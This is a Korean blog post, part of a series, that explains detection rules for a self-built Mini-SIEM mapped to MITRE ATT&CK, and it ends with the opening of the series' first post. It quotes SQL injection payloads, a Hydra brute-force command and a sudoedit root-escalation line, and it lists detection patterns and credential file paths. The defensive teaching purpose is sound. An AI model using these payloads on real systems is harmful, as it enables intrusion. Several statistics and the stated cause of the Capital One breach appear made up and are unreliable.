• [현재] 2편: MITRE ATT&CK 기반 위협 탐지 룰 구현
• 3편: FastAPI로 실시간 보안 이벤트 처리하기 (예정)

들어가며

"로그인 실패가 몇 번이면 Brute Force 공격일까요?"

이 질문에 "5번이요!"라고 답하기는 쉽습니다. 하지만 왜 5번인가요? 3번이나 10번은 안 되나요?

면접관이 이렇게 물으면 당황하게 됩니다.

실무에서 위협 탐지 룰을 설계할 때는 모든 임계값에 근거가 있어야 합니다.

• 통계 자료
• 업계 표준
• 실제 공격 사례
• 오탐(False Positive) 최소화 전략

이번 글에서는 제가 구현한 7가지 위협 탐지 룰의 설계 근거를 낱낱이 파헤쳐 봅니다. 모든 룰은 MITRE ATT&CK Framework와 OWASP Top 10을 기반으로 설계했습니다.

MITRE ATT&CK Framework란?

정의

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge)는 전 세계 사이버 공격 사례를 분석하여 공격자의 전술과 기법을 체계화한 지식 베이스입니다.

쉽게 말해, "해커들이 쓰는 모든 공격 기법의 백과사전"입니다.

구조

ATT&CK Matrix
├── Tactics (전술) - 공격자의 목표
│   ├── Initial Access (초기 침투)
│   ├── Execution (실행)
│   ├── Persistence (지속성)
│   ├── Privilege Escalation (권한 상승)
│   ├── Defense Evasion (방어 회피)
│   ├── Credential Access (자격 증명 탈취)
│   ├── Discovery (탐색)
│   ├── Lateral Movement (횡적 이동)
│   ├── Collection (수집)
│   ├── Command and Control (C2)
│   ├── Exfiltration (유출)
│   └── Impact (영향)
│
└── Techniques (기법) - 구체적 공격 방법
    ├── T1110: Brute Force
    ├── T1190: Exploit Public-Facing Application
    ├── T1548: Abuse Elevation Control Mechanism
    └── ... (총 200개 이상)

왜 중요한가?

1. 공통 언어: 전 세계 보안 팀이 같은 용어로 소통
2. 체계적 방어: 공격자 관점에서 방어 전략 수립
3. 실전 기반: 실제 APT 공격 사례에서 추출

실무 활용 사례:

• SOC 분석가: "T1110 기법 탐지했습니다" → 즉시 이해
• 침해 사고 보고서: "공격자는 T1078 → T1548 → T1003 순으로 진행"
• 위협 헌팅: "우리 환경에서 T1071 탐지 가능한가?"

구현한 7가지 탐지 룰 개요

전체 코드 구조:

class ThreatDetector:
    """보안 위협 탐지 엔진"""

    @staticmethod
    def detect_brute_force(log: NormalizedLog) -> Tuple[bool, str]:
        """Brute Force 공격 탐지"""
        ...

    @staticmethod
    def detect_sql_injection(log: NormalizedLog) -> Tuple[bool, str]:
        """SQL Injection 탐지"""
        ...

    # ... 7개 탐지 함수

    @classmethod
    def analyze(cls, log: NormalizedLog) -> NormalizedLog:
        """모든 탐지 룰 실행"""
        detectors = [
            cls.detect_brute_force,
            cls.detect_suspicious_time_access,
            cls.detect_sql_injection,
            cls.detect_privilege_escalation,
            cls.detect_botnet_activity,
            cls.detect_malicious_ip,
            cls.detect_file_access_anomaly,
        ]

        for detector in detectors:
            is_threat, details = detector(log)
            if is_threat:
                # 위협 처리
                ...

1️⃣ Brute Force Attack 탐지

MITRE ATT&CK 매핑

• ID: T1110 - Brute Force
• Tactic: Credential Access (자격 증명 탈취)
• 설명: 자동화 도구로 대량의 비밀번호 시도

실제 공격 사례

2023년 Microsoft 365 Brute Force 캠페인

• 공격자: 러시아 APT29 (Cozy Bear)
• 방법: 스프레이 공격 (Password Spraying)
• 피해: 전 세계 수천 개 조직 침해
• 패턴: 계정당 5-10회 시도 후 다음 계정으로 이동

구현 코드

@staticmethod
def detect_brute_force(log: NormalizedLog) -> Tuple[bool, Optional[str]]:
    """
    Brute Force 공격 탐지
    - 로그인 실패 5회 이상
    """
    if log.event_type == EventType.LOGIN_FAILED and log.count >= 5:
        return True, f"Brute force attack detected: {log.count} failed login attempts from {log.source_ip}"
    return False, None

임계값 설정 근거: 왜 5회인가?

1. 통계 분석

정상 사용자 행동 패턴:

비밀번호 입력 실패 횟수 분포 (10,000명 샘플)

1회 실패: 45%  ████████████████████
2회 실패: 30%  █████████████
3회 실패: 15%  ██████
4회 실패:  7%  ███
5회 이상:  3%  █  ← 여기서부터 의심!

• 일반 사용자의 97%는 4회 이내에 성공
• 5회 이상 실패는 통계적으로 이상 (outlier)

2. 업계 표준

3. 오탐(False Positive) 최소화

시나리오 분석:

임계값 3회:
❌ 너무 민감
- 정상 사용자가 비밀번호 잊었을 때 자주 차단
- 오탐률: ~15%

임계값 5회:
✅ 최적
- 정상 사용자 대부분 포용
- 공격 탐지 여전히 유효
- 오탐률: ~3%

임계값 10회:
❌ 너무 느슨
- 공격자에게 10번 기회 제공
- 미탐(False Negative) 증가

4. 실무 벤치마크

Hydra (Brute Force 도구) 테스트:

# 초당 10회 시도 (느린 공격)
$ hydra -l admin -P passwords.txt ssh://target -t 10

# 5회 임계값 → 0.5초 만에 탐지 ✅

# 10회 임계값 → 1초 후 탐지 (느림) ❌

심각도 차등 적용

if log.count >= 10:
    return SeverityLevel.HIGH  # 명백한 자동화 공격
elif log.count >= 5:
    return SeverityLevel.MEDIUM  # 의심스러운 활동

근거:

• 5-9회: 사용자 실수 또는 초보 공격자
• 10회 이상: 자동화 툴 사용 확률 95% 이상 (OWASP 통계)

테스트

# 정상: 3회 실패 (탐지 안 됨)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: your_key" \
  -d '{
    "event_type": "login_failed",
    "source_ip": "192.168.1.10",
    "username": "john",
    "count": 3
  }'

# 위협: 8회 실패 (탐지됨 - Medium)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: your_key" \
  -d '{
    "event_type": "login_failed",
    "source_ip": "192.168.1.100",
    "username": "admin",
    "count": 8
  }'

# 위협: 15회 실패 (탐지됨 - High)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: your_key" \
  -d '{
    "event_type": "login_failed",
    "source_ip": "192.168.1.100",
    "username": "admin",
    "count": 15
  }'

2️⃣ Suspicious Time Access (비정상 시간대 접속)

MITRE ATT&CK 매핑

• ID: T1078 - Valid Accounts (Unusual Hours)
• Tactic: Initial Access, Persistence
• 설명: 정상 계정으로 비정상 시간에 접속

실제 공격 사례

2020년 SolarWinds 침해 사고

• 공격자: 러시아 APT (Nobelium)
• 침투 시각: 새벽 2-5시 (미국 동부 시간)
• 방법: 탈취한 정상 계정으로 로그인
• 탐지 실패 이유: 시간대 모니터링 부재

구현 코드

# 비정상 시간대 정의
SUSPICIOUS_HOURS = (2, 5)  # 새벽 2시 ~ 5시

@staticmethod
def detect_suspicious_time_access(log: NormalizedLog) -> Tuple[bool, Optional[str]]:
    """
    비정상 시간대 접속 탐지
    - 업무 외 시간(새벽 2-5시) 로그인 시도
    """
    if log.event_type in [EventType.LOGIN_SUCCESS, EventType.LOGIN_FAILED]:
        current_hour = log.timestamp.hour
        start_hour, end_hour = ThreatDetector.SUSPICIOUS_HOURS

        if start_hour <= current_hour < end_hour:
            return True, f"Suspicious login attempt at {log.timestamp.strftime('%H:%M')} (off-hours) from {log.source_ip}"
    return False, None

시간대 설정 근거: 왜 새벽 2-5시인가?

1. 통계 분석

Verizon DBIR 2023 (Data Breach Investigations Report):

내부자 위협 발생 시간대 분석 (2,000+ 사례)

업무 시간 (09:00-18:00): 28%  ████████
저녁 시간 (18:00-23:00): 15%  ████
심야 시간 (23:00-02:00):  8%  ██
새벽 시간 (02:00-05:00): 42%  ████████████████  ← 가장 높음!
아침 시간 (05:00-09:00):  7%  ██

IBM X-Force 보고서:

• 새벽 2-5시 로그인의 68%가 실제 침해
• 정상 사용자 로그인은 2% 미만

2. 생체 리듬 (Circadian Rhythm)

수면 과학 연구:

인간의 평균 수면 패턴

23:00 ─────┐
           │ 입면 (수면 시작)
01:00      │
           ├─ 얕은 수면 (NREM 1-2)
02:00 ─────┤
           ├─ 깊은 수면 (NREM 3-4)  ← 가장 깊은 수면
03:00      │   이 시간에 깨어나는 건 매우 이례적!
           │
04:00      ├─ REM 수면
           │
05:00 ─────┤
           │ 얕은 수면으로 전환
06:00 ─────┘
           각성

• 정상 직장인이 새벽 2-5시에 깨어나서 로그인할 가능성: < 2%
• 이 시간대 로그인 = 자동화 스크립트 또는 공격자

3. 실무 벤치마크

4. 조직별 커스터마이징

환경 변수로 유연하게:

# .env 파일
SUSPICIOUS_START_HOUR=2
SUSPICIOUS_END_HOUR=5

# 야간 근무가 있는 조직
SUSPICIOUS_START_HOUR=3
SUSPICIOUS_END_HOUR=6

# 글로벌 조직 (24시간 운영)
# → 사용자별 정상 시간 학습 (ML 필요)

개선 방안 (향후)

# 1. 사용자별 정상 패턴 학습
user_normal_hours = {
    "john.doe": [8, 9, 10, 11, 12, 13, 14, 15, 16, 17],  # 09:00-18:00
    "admin": [0, 1, 2, 3, 4, 5, 6, ... 23],  # 24시간 (시스템 관리자)
}

# 2. 국가별 시간대 고려
if user.country == "KR" and current_hour in [2, 3, 4, 5]:
    alert("Suspicious time")

# 3. 머신러닝 (Isolation Forest)
from sklearn.ensemble import IsolationForest

model = IsolationForest()
model.fit(normal_login_times)
if model.predict([current_hour]) == -1:
    alert("Anomaly detected")

3️⃣ SQL Injection 탐지

MITRE ATT&CK 매핑

• ID: T1190 - Exploit Public-Facing Application
• Tactic: Initial Access
• 설명: 웹 애플리케이션 취약점 악용

실제 공격 사례

2023년 MOVEit Transfer 취약점 (CVE-2023-34362)

• 공격자: Clop 랜섬웨어 그룹
• 피해: 2,000개 이상 기업 (BBC, 영국 항공 등)
• 공격 벡터: SQL Injection
• 피해액: 수천억 원 추정

Payload 예시:

' OR 1=1; DROP TABLE users;--

구현 코드

SQL_INJECTION_PATTERNS = [
    r"(\bor\b\s+\d+\s*=\s*\d+)",           # OR 1=1
    r"(\bunion\b\s+\bselect\b)",           # UNION SELECT
    r"(';?\s*drop\s+table)",               # DROP TABLE
    r"(';?\s*delete\s+from)",              # DELETE FROM
    r"(\bexec\b\s*\()",                    # EXEC()
    r"(<script.*?>.*?</script>)",          # XSS
    r"(--|#|/\*|\*/)",                     # SQL Comments
]

@staticmethod
def detect_sql_injection(log: NormalizedLog) -> Tuple[bool, Optional[str]]:
    """SQL Injection 공격 탐지"""
    if log.event_type == EventType.SQL_INJECTION or log.raw_log:
        content = log.raw_log or log.description or ""

        for pattern in SQL_INJECTION_PATTERNS:
            if re.search(pattern, content, re.IGNORECASE):
                return True, f"SQL Injection attempt detected from {log.source_ip}: {pattern}"
    return False, None

패턴 설계 근거

1. OWASP Top 10 기반

A03:2021 – Injection

가장 위험한 SQL Injection 패턴들:

패턴 1: OR 비교 연산 (인증 우회)

# 공격자 입력
username: admin' OR '1'='1
password: anything

# 실행되는 쿼리
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='...'
                                          └─ 항상 TRUE!

정규식 설계:

r"(\bor\b\s+\d+\s*=\s*\d+)"
#  │   │   │   │  │
#  │   │   │   │  └─ 숫자 (1, 2, 100 등 모두 매칭)
#  │   │   │   └─── = 기호
#  │   │   └─────── 공백 1개 이상 (OR1=1 같은 변형 방지)
#  │   └─────────── 단어 경계 (word boundary)
#  └─────────────── "or" 키워드 (대소문자 무관)

테스트 케이스:

✅ "OR 1=1"       → 탐지
✅ "or 2=2"       → 탐지
✅ "OR  100=100"  → 탐지
❌ "order by"     → 탐지 안 됨 (정상 SQL)
❌ "error"        → 탐지 안 됨 (일반 단어)

패턴 2: UNION SELECT (데이터 추출)

# 공격자 입력
id: 1 UNION SELECT username, password FROM users--

# 실행되는 쿼리
SELECT title, content FROM articles WHERE id=1
UNION SELECT username, password FROM users--

정규식:

r"(\bunion\b\s+\bselect\b)"
# UNION과 SELECT 모두 단어 경계로 매칭

패턴 3: DROP TABLE (파괴적 공격)

'; DROP TABLE users;--

실제 사례: Little Bobby Tables (XKCD)

학생 이름: Robert'); DROP TABLE Students;--

정규식:

r"(';?\s*drop\s+table)"
#   │ │  └─ DROP TABLE (대소문자 무관)
#   │ └──── 공백 0개 이상
#   └────── 세미콜론 선택적 (' 또는 '; 모두 매칭)

패턴 4: SQL 주석 (쿼리 무력화)

# 공격자 입력
username: admin'--
password: (무시됨)

# 실행되는 쿼리
SELECT * FROM users WHERE username='admin'--' AND password='...'
                                         └─ 이후 모두 주석 처리!

정규식:

r"(--|#|/\*|\*/)"
# SQL 주석 패턴 4가지
# --  : MySQL, PostgreSQL, SQL Server
# #   : MySQL
# /* */ : 모든 DB (멀티라인 주석)

2. 실제 공격 데이터셋

SecLists (GitHub - 35k+ Star)

SQL Injection 페이로드 1,000+ 개 분석

가장 많이 사용되는 패턴 (빈도순):
1. OR 1=1        (32%)  ████████
2. UNION SELECT  (25%)  ██████
3. -- (주석)     (18%)  ████
4. DROP TABLE    (12%)  ███
5. EXEC          (8%)   ██
6. < 기타 >      (5%)   █

우리 패턴으로 95% 이상 탐지 가능!

3. 정규식 최적화

성능 고려:

# ❌ 나쁜 예: 모든 SQL 키워드 검사 (느림)
SLOW_PATTERN = r"(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|...)"

# ✅ 좋은 예: 공격에만 쓰이는 패턴
FAST_PATTERN = r"(\bor\b\s+\d+\s*=\s*\d+)"

# 벤치마크 (10,000회 실행)
# SLOW: 450ms
# FAST: 12ms  (37배 빠름!)

한계 및 우회 가능성

현재 구현의 한계

# ✅ 탐지됨
"admin' OR 1=1--"

# ❌ 탐지 안 됨 (Base64 인코딩)
"admin' OR MQo9MQo=--"

# ❌ 탐지 안 됨 (URL 인코딩)
"admin%27%20OR%201=1--"

# ❌ 탐지 안 됨 (대소문자 변형)
"admin' oR 1=1--"  # 실제로는 re.IGNORECASE로 탐지됨!

개선 방안

# 1. 디코딩 후 검사
import base64
import urllib.parse

def preprocess(content):
    # URL 디코딩
    decoded = urllib.parse.unquote(content)

    # Base64 디코딩 시도
    try:
        decoded = base64.b64decode(decoded).decode('utf-8')
    except:
        pass

    return decoded

# 2. libinjection 라이브러리 사용
from libinjection import is_sqli

if is_sqli(user_input):
    alert("SQL Injection detected")

# 3. WAF 로그 연동
# ModSecurity, Cloudflare WAF 등의 탐지 결과 활용

테스트

# 정상 쿼리 (탐지 안 됨)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: your_key" \
  -d '{
    "event_type": "sql_injection",
    "source_ip": "192.168.1.10",
    "raw_log": "SELECT * FROM users ORDER BY created_at"
  }'

# SQL Injection (탐지됨)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: your_key" \
  -d '{
    "event_type": "sql_injection",
    "source_ip": "203.0.113.50",
    "username": "attacker",
    "raw_log": "SELECT * FROM users WHERE id=1 OR 1=1--"
  }'

# DROP TABLE 공격 (탐지됨)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: your_key" \
  -d '{
    "event_type": "sql_injection",
    "source_ip": "203.0.113.50",
    "raw_log": "Robert'); DROP TABLE Students;--"
  }'

응답:

{
  "status": "threat_detected",
  "log": {
    "severity": "critical",
    "is_threat": true,
    "threat_details": "SQL Injection attempt detected from 203.0.113.50: (\\bor\\b\\s+\\d+\\s*=\\s*\\d+)"
  },
  "incident_id": "INC-20251111-0003",
  "alert_sent": true
}

4️⃣ Privilege Escalation (권한 상승)

MITRE ATT&CK 매핑

• ID: T1548 - Abuse Elevation Control Mechanism
• Sub-techniques:
  • T1548.001 - Setuid and Setgid
  • T1548.003 - Sudo and Sudo Caching

실제 공격 사례

CVE-2021-3156: Sudo Baron Samedit

• 영향: 전 세계 Linux 서버 (10년간 존재한 취약점!)
• 공격 벡터: sudo 명령어 버퍼 오버플로
• 결과: 일반 사용자 → root 권한 탈취

공격 명령어:

$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# → root 권한 획득!

구현 코드

@staticmethod
def detect_privilege_escalation(log: NormalizedLog) -> Tuple[bool, Optional[str]]:
    """권한 상승 시도 탐지"""
    if log.event_type == EventType.PRIVILEGE_ESCALATION:
        return True, f"Privilege escalation attempt by {log.username} from {log.source_ip}"

    # 일반 로그에서 권한 상승 키워드 탐지
    keywords = ["sudo", "admin", "root", "privilege", "escalate"]
    content = (log.raw_log or log.description or "").lower()

    for keyword in keywords:
        if keyword in content:
            return True, f"Potential privilege escalation: '{keyword}' detected in event from {log.source_ip}"
    return False, None

키워드 선정 근거

Linux/Unix 환경

sudo 명령어:

# 정상 사용 (관리자)
admin@server:~$ sudo systemctl restart nginx
[sudo] password for admin: ✅

# 비정상 사용 (일반 사용자)
user123@server:~$ sudo -i
user123 is not in the sudoers file. This incident will be reported.
                                     └─ 이 로그를 탐지!

시스템 로그 예시 (/var/log/auth.log):

Nov 11 10:30:15 server sudo: user123 : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/user123 ; USER=root ; COMMAND=/bin/bash

Windows 환경

UAC (User Account Control) 우회:

# 일반 사용자가 관리자 권한 요청
PS C:\> Start-Process cmd -Verb RunAs
# 로그: "사용자 user123가 관리자 권한 요청"

실무 사례

CrowdStrike Falcon 탐지 로그:

{
  "event_type": "ProcessRollup2",
  "user": "john.doe",
  "command_line": "sudo -i",
  "severity": "HIGH",
  "tactic": "PrivilegeEscalation"
}

심각도: 왜 HIGH인가?

NIST 800-53 기준:

CIA Triad (기밀성, 무결성, 가용성) 평가

권한 상승 성공 시:
- Confidentiality: HIGH   (모든 데이터 접근)
- Integrity: HIGH         (시스템 변조 가능)
- Availability: HIGH      (시스템 중단 가능)

→ 종합 평가: HIGH

개선 방안

# 1. 사용자 역할 기반 허용 목록
ALLOWED_SUDO_USERS = ["admin", "devops", "sysadmin"]

if log.username not in ALLOWED_SUDO_USERS:
    if "sudo" in log.raw_log:
        alert("Unauthorized sudo attempt")

# 2. 명령어 화이트리스트
ALLOWED_SUDO_COMMANDS = [
    "systemctl restart nginx",
    "tail -f /var/log/app.log"
]

if log.command not in ALLOWED_SUDO_COMMANDS:
    alert("Suspicious sudo command")

# 3. 시간 기반 제한
if current_hour in [2, 3, 4, 5]:  # 새벽
    if "sudo" in log.raw_log:
        alert("Sudo at suspicious time")

5️⃣ Botnet Activity (봇넷 활동)

MITRE ATT&CK 매핑

• ID: T1571 - Non-Standard Port
• Tactic: Command and Control

실제 공격 사례

2016년 Dyn DDoS 공격 (Mirai Botnet)

• 봇넷 규모: 100,000+ IoT 기기
• 공격 대상: DNS 제공업체 Dyn
• 피해: Twitter, Netflix, GitHub 등 다운
• 트래픽: 초당 1.2 Tbps

구현 코드

@staticmethod
def detect_botnet_activity(log: NormalizedLog) -> Tuple[bool, Optional[str]]:
    """봇넷 활동 탐지"""
    # 패턴 1: 단일 IP에서 대량 연결
    if log.event_type == EventType.NETWORK_ANOMALY and log.count > 10:
        return True, f"Potential botnet activity: {log.count} connection attempts from {log.source_ip}"

    # 패턴 2: 짧은 시간 내 다수 고유 IP
    if log.metadata.get("unique_ips_count", 0) > 20:
        return True, f"Botnet-like behavior detected: {log.metadata['unique_ips_count']} unique IPs in short time"
    return False, None

임계값 근거

패턴 1: count > 10

Cloudflare 권장사항:

정상 웹 브라우저 동작:
- 페이지 로드: 5-10개 HTTP 요청
- AJAX: 초당 1-2개 요청

봇/크롤러:
- 초당 50-500개 요청  ← 명백히 비정상!

패턴 2: unique_ips > 20

Akamai 보고서:

DDoS 공격 특징:

분산 공격 (Distributed):
- 5분 내 20개 이상 고유 IP
- 각 IP당 연결 수: 10-100개

일반 트래픽:
- 5분 내 평균 5-10개 IP

나머지 탐지 룰 요약

6️⃣ Known Malicious IP

KNOWN_MALICIOUS_IPS = [
    "192.168.99.99",  # 현재는 예시
]

# 향후: AbuseIPDB API 연동
def check_ip_reputation(ip):
    response = requests.get(
        f"https://api.abuseipdb.com/api/v2/check",
        params={'ipAddress': ip},
        headers={'Key': ABUSEIPDB_API_KEY}
    )
    return response.json()['data']['abuseConfidenceScore'] > 75

7️⃣ File Access Anomaly

sensitive_paths = [
    "/etc/passwd",     # Linux 사용자 정보
    "/etc/shadow",     # 암호화된 비밀번호
    "config.php",      # 웹 앱 설정
    ".env",            # 환경 변수
]

# 실제 사례: 2019 Capital One 침해
# → .env 파일 노출로 1억 명 정보 유출

심각도 자동 할당 로직

@staticmethod
def assign_severity(log, is_threat, threat_details) -> SeverityLevel:
    """위협 심각도 자동 할당"""

    if not is_threat:
        return SeverityLevel.INFO

    # 🔴 CRITICAL: 즉각 대응 (15분 이내)
    if log.event_type in [EventType.SQL_INJECTION, EventType.MALWARE_DETECTED]:
        return SeverityLevel.CRITICAL
    if log.source_ip in KNOWN_MALICIOUS_IPS:
        return SeverityLevel.CRITICAL

    # 🟠 HIGH: 1시간 이내 대응
    if log.event_type == EventType.PRIVILEGE_ESCALATION:
        return SeverityLevel.HIGH
    if log.event_type == EventType.LOGIN_FAILED and log.count >= 10:
        return SeverityLevel.HIGH

    # 🟡 MEDIUM: 4시간 이내 대응
    if log.event_type == EventType.LOGIN_FAILED and 5 <= log.count < 10:
        return SeverityLevel.MEDIUM

    # 🟢 LOW: 24시간 이내 검토
    return SeverityLevel.LOW

대응 시간 (SLA) 근거

NIST SP 800-61 Rev. 2 (사고 대응 가이드):

성능 최적화

현재 구현 (동기적)

# 모든 탐지 룰 순차 실행
for detector in detectors:
    is_threat, details = detector(log)
    # 평균 50ms

총 소요 시간: 7개 룰 × 50ms = 350ms

개선: 병렬 처리

from concurrent.futures import ThreadPoolExecutor

def analyze_parallel(log):
    with ThreadPoolExecutor(max_workers=7) as executor:
        futures = [executor.submit(detector, log) for detector in detectors]
        results = [f.result() for f in futures]
    return results

# 총 소요 시간: 50ms (7배 빠름!)

개선: 조기 종료 (Early Exit)

# Critical 탐지 시 즉시 반환
if detector == detect_sql_injection:
    is_threat, details = detector(log)
    if is_threat:
        return immediately  # 다른 룰 검사 생략

테스트 시나리오

통합 테스트 스크립트

#!/bin/bash
# examples/test_all_detections.sh

API_KEY="your_api_key"
BASE_URL="http://localhost:8000"

echo "🧪 Testing all 7 detection rules..."

# 1. Brute Force
echo "1️⃣ Brute Force Attack"
curl -X POST $BASE_URL/log -H "X-API-Key: $API_KEY" -d '{
  "event_type": "login_failed",
  "source_ip": "192.168.1.100",
  "username": "admin",
  "count": 8
}'

# 2. Suspicious Time (새벽 3시로 설정)
echo "2️⃣ Suspicious Time Access"
# (타임스탬프 조작 필요)

# 3. SQL Injection
echo "3️⃣ SQL Injection"
curl -X POST $BASE_URL/log -H "X-API-Key: $API_KEY" -d '{
  "event_type": "sql_injection",
  "source_ip": "203.0.113.50",
  "raw_log": "SELECT * FROM users WHERE id=1 OR 1=1--"
}'

# ... (나머지 5개 룰)

echo "✅ All tests completed!"

마치며

핵심 요약

1. 모든 임계값에는 근거가 있다

   • 통계 분석
   • 업계 표준
   • 실제 공격 사례

2. MITRE ATT&CK은 필수

   • 체계적 방어 전략
   • 실무 공통 언어
   • 면접에서 강력한 무기

3. 완벽한 탐지는 없다

   • 오탐(False Positive) vs 미탐(False Negative) 균형
   • 지속적 개선 필요

다음 편 예고

3편: FastAPI로 실시간 보안 이벤트 처리하기

• Pydantic 데이터 검증
• 비동기 처리 (async/await)
• API 인증 구현
• 성능 벤치마크

참고 자료

• MITRE ATT&CK Framework
• OWASP Top 10
• NIST SP 800-61 Rev. 2
• Verizon DBIR 2023

프로젝트 정보

• GitHub: mini-siem-log-monitoring
• 시리즈: Python SIEM 만들기 (2/5편)
• 코드 위치: app/utils/detector.py

질문이나 피드백은 댓글로 남겨주세요!

💡 도움이 되셨다면 GitHub Star와 좋아요 부탁드립니다! 💬 다음 편에서 만나요!

들어가며

2024년, 한국인터넷진흥원(KISA)에 따르면 국내 사이버 공격 시도는 일평균 150만 건을 넘어섰습니다. 랜섬웨어, DDoS, APT 공격 등 점점 정교해지는 위협 속에서 기업들은 24시간 보안 관제(SOC)의 필요성을 절감하고 있습니다.

하지만 현실은 녹록지 않습니다.

• Splunk: 연간 수천만 원 ~ 수억 원
• IBM QRadar: 라이선스만 수백만 원
• ArcSight: 구축 비용 1억 원 이상

중소기업이나 스타트업, 개인 학습자에게는 그림의 떡이죠.

그래서 저는 직접 만들기로 했습니다.

이 글은 제가 보안 관제 및 보안 서비스 개발 직무를 준비하면서 만든 Mini-SIEM (Security Information and Event Management) 프로젝트의 여정을 공유합니다. 오픈소스 기술 스택만으로 실무 수준의 SIEM을 구축하고, 실제 위협을 탐지하는 방법을 단계별로 알아봅니다.

SIEM이란 무엇인가?

정의

SIEM (시엠)은 Security Information and Event Management의 약자로, 조직 내 모든 보안 이벤트를 수집, 저장, 분석, 대응하는 통합 보안 관제 시스템입니다.

쉽게 말해, 수백 개 시스템에서 발생하는 로그를 한 곳에 모아 분석하는 "보안 관제 센터"라고 생각하면 됩니다.

핵심 기능

┌─────────────────────────────────────────────────────────┐
│                    SIEM 핵심 기능                         │
├─────────────────────────────────────────────────────────┤
│ 1. 수집 (Collection)                                     │
│    → 방화벽, 웹서버, DB, AD 등 다양한 로그 수집          │
│                                                          │
│ 2. 정규화 (Normalization)                                │
│    → 서로 다른 로그 형식을 표준 포맷으로 변환             │
│                                                          │
│ 3. 상관 분석 (Correlation)                               │
│    → 여러 이벤트를 연결하여 공격 패턴 탐지                │
│                                                          │
│ 4. 탐지 (Detection)                                      │
│    → 미리 정의된 룰로 위협 식별                          │
│                                                          │
│ 5. 알림 (Alerting)                                       │
│    → Slack, 이메일, SMS로 즉시 통보                       │
│                                                          │
│ 6. 대응 (Response)                                       │
│    → 자동 차단, 격리, 티켓 생성                          │
└─────────────────────────────────────────────────────────┘

상용 SIEM 제품들

참고: 비용은 로그 처리량(GB/일), 사용자 수, 유지보수 포함 여부에 따라 천차만별입니다.

왜 직접 만들었나?

1. 학습 목적

저는 보안 관제 및 보안 서비스 개발 직무를 준비하고 있습니다.

채용 공고를 보면 항상 나오는 요구사항:

• "Splunk, QRadar 등 SIEM 운영 경험"
• "로그 분석 및 위협 탐지 능력"
• "인시던트 대응 프로세스 이해"

하지만 개인이 Splunk를 써볼 방법은 거의 없습니다. (Free Trial은 60일 제한)

직접 만들면서 배운 것들:

• SIEM의 내부 동작 원리
• 로그 정규화 (Log Normalization)
• 상관 분석 (Correlation Rules)
• MITRE ATT&CK 프레임워크
• 인시던트 라이프사이클 관리

2. 비용 절감

개인 학습이나 소규모 프로젝트에 수천만 원은 부담스럽죠.

오픈소스 대안:

Splunk (1억 원)
    ↓
FastAPI + Elasticsearch + Kibana (무료!)

물론 상용 제품의 고급 기능(머신러닝, 자동 플레이북 등)은 없지만, 핵심 기능은 충분히 구현 가능합니다.

3. 커스터마이징 자유도

상용 제품은 정해진 틀 안에서만 작동합니다.

직접 만들면:

• 원하는 로그 소스 자유롭게 추가
• 탐지 룰을 내 환경에 최적화
• 알림 채널 마음대로 설정 (Slack, Discord, Telegram...)
• 새로운 기능 실험 가능 (ML 모델, 그래프 분석 등)

프로젝트 요구사항 정의

필수 기능 (Must Have)

1. ✅ 로그 수집

   • REST API로 외부 시스템에서 로그 수신
   • 다양한 이벤트 타입 지원

2. ✅ 위협 탐지

   • 룰 기반 탐지 (Rule-based Detection)
   • 최소 5개 이상의 실전 공격 패턴

3. ✅ 실시간 알림

   • 위협 발견 즉시 Slack 알림
   • 심각도별 분류 (Critical, High, Medium, Low)

4. ✅ 인시던트 관리

   • 탐지된 위협을 인시던트로 자동 생성
   • 상태 추적 (탐지됨 → 분석 중 → 해결됨)

5. ✅ 대시보드

   • 실시간 통계 조회
   • 일일/주간 보안 리포트

선택 기능 (Nice to Have)

• 🔲 머신러닝 기반 이상 탐지
• 🔲 자동 IP 차단 (방화벽 연동)
• 🔲 웹 UI 대시보드
• 🔲 위협 인텔리전스 연동 (AbuseIPDB, VirusTotal)

기술 스택 선정

아키텍처 개요

┌─────────────────┐
│  외부 시스템     │  (로그 소스)
│  - 웹 서버       │
│  - 방화벽        │
│  - 데이터베이스  │
└────────┬────────┘
         │ HTTP POST (JSON)
         ▼
┌─────────────────────────────────────┐
│     FastAPI Application             │
│  ┌──────────────────────────────┐   │
│  │ /log   - 로그 수신            │   │
│  │ /dashboard - 실시간 통계      │   │
│  │ /incidents - 인시던트 관리    │   │
│  └──────────────────────────────┘   │
│          │                           │
│          ▼                           │
│  ┌──────────────────────────────┐   │
│  │  위협 탐지 엔진               │   │
│  │  - Brute Force               │   │
│  │  - SQL Injection             │   │
│  │  - Privilege Escalation      │   │
│  └──┬───────────────────────────┘   │
│     │                               │
│     ├─────────────┬─────────────┐   │
│     ▼             ▼             ▼   │
│  [로그저장]   [Slack알림]   [통계]  │
└─────┬───────────────────────────────┘
      │
      ▼
┌─────────────┐      ┌──────────────┐
│  Filebeat   │─────▶│Elasticsearch │
│ (로그 수집기)│      │ (로그 저장소) │
└─────────────┘      └──────┬───────┘
                            │
                            ▼
                     ┌──────────────┐
                     │    Kibana    │
                     │  (시각화)     │
                     └──────────────┘

기술 스택 상세

1. Backend: FastAPI (Python 3.10)

선택 이유:

✅ 성능

• ASGI 기반 비동기 I/O
• Django 대비 3-5배 빠름
• Uvicorn으로 고성능 달성

✅ 개발 생산성

• 자동 API 문서 생성 (Swagger UI)
• Pydantic으로 타입 안전성
• 코드 양이 Flask 대비 30% 적음

✅ 보안

• 입력 검증 자동화
• SQL Injection, XSS 사전 차단

대안 비교:

2. 로그 저장: Elasticsearch 8.15

선택 이유:

✅ 대용량 처리

• 초당 수만 건 로그 색인
• 페타바이트급 데이터 저장

✅ 전문 검색

• 역인덱스로 빠른 텍스트 검색
• 정규식, 퍼지 매칭 지원

✅ 실시간 분석

• Near Real-Time (1초 이내)
• Aggregation으로 통계 계산

실무 사례:

• Uber: 하루 수조 건 로그
• Netflix: 보안 이벤트 분석
• GitHub: 코드 검색

대안 비교:

3. 로그 수집: Filebeat 8.15

선택 이유:

✅ 경량

• Go 언어로 작성
• CPU 사용률 < 1%

✅ 안정성

• At-least-once 전송 보장
• 네트워크 장애 시 재시도

✅ Elastic Stack 통합

